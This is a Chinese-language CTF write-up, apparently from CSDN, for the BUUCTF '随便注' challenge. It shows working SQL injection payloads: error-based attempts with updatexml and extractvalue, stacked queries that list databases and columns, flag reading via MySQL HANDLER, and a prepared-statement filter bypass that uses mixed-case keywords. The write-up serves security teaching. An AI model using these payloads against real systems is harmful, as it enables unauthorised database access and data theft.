BUUCTF-随便注

本文详细介绍了如何通过SQL注入中的报错注入、堆叠注入以及预编译绕过等技术,在Web应用中获取数据库信息,包括使用orderby判断字段,报错函数如updatexml和extractvalue,以及利用handler命令获取flag的过程。
摘要由CSDN通过智能技术生成

1、SQL注入的题目

首先通过随便输入几个数字判断出字段数为2,如下图:

2、order by

使用order by来检测也可得出第3个字段不存在

3、字段回显判断:

可以通过字段回显看来判断是哪些关键字被过滤,然后对症下药选择合适的SQL注入的方法。有以下的回显情况可以判断,联合注入已经无法使用,因而我们要使用报错注入,或堆叠注入的方法。

4、报错、堆叠注入:

报错注入:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。

堆叠注入:mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔开,而堆叠注入其实就是通过结束符来执行多条sql语句。

(1)报错盲注,构建payload:
第一种payload:inurl?inject=1' or updatexml(1,concat(0x7e,(database())),0) or#(被过滤)

(2)第二种payload:1' or extractvalue(1,concat(0x7e,(database())),0) or#(同样被过滤)

5、堆叠注入:

使用show databases 构建payload:1'; show databases;# ,发现出现很多的表。

随便查看一下任意一个表:ctftraining,发现有一个“FLAG_TABLE”有点可疑。

查看一下“FLAG_TABLE”的字段:提示说明并没有lag。

接着查询其他的表,在查询supersqli表时出现如下结果:

查看一下1919810931114514这串数字:1' ; use supersqli; show columns from `1919810931114514` ; # ,发现flag。

6、查看flag,使用handler查询法。

关于handler查询法,可以参考以下两篇文章:

MYSQL神秘的HANDLER命令与实现方法_Mysql_脚本之家 (jb51.net)

mysql handler语句之一 - MySQL数据库 - 亿速云 (yisu.com)

利用handler构建payload:1';use supersqli;handler `1919810931114514` open as p;handler p read first;#   ,得到flag。

7、
预编译绕过法:

先说说预编译吧,简单来说,预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句,当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤,利用预编译绕过select 就能直接拿到flag了,构建payload:1';set @sql = concat('sele','ct flag from `1919810931114514`;');prepare stmt from @sql;execute stmt;#,结果如下:

发现set和prepare被strstr函数检测出来了。但是strstr函数在检测时不区分大小写,因而可以将payload更改为如下结果:

1';SeT @sql = concat('sele','ct flag from `1919810931114514`;');PrePare stmt from @sql;execute stmt;#

得到flag。

  • 31
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值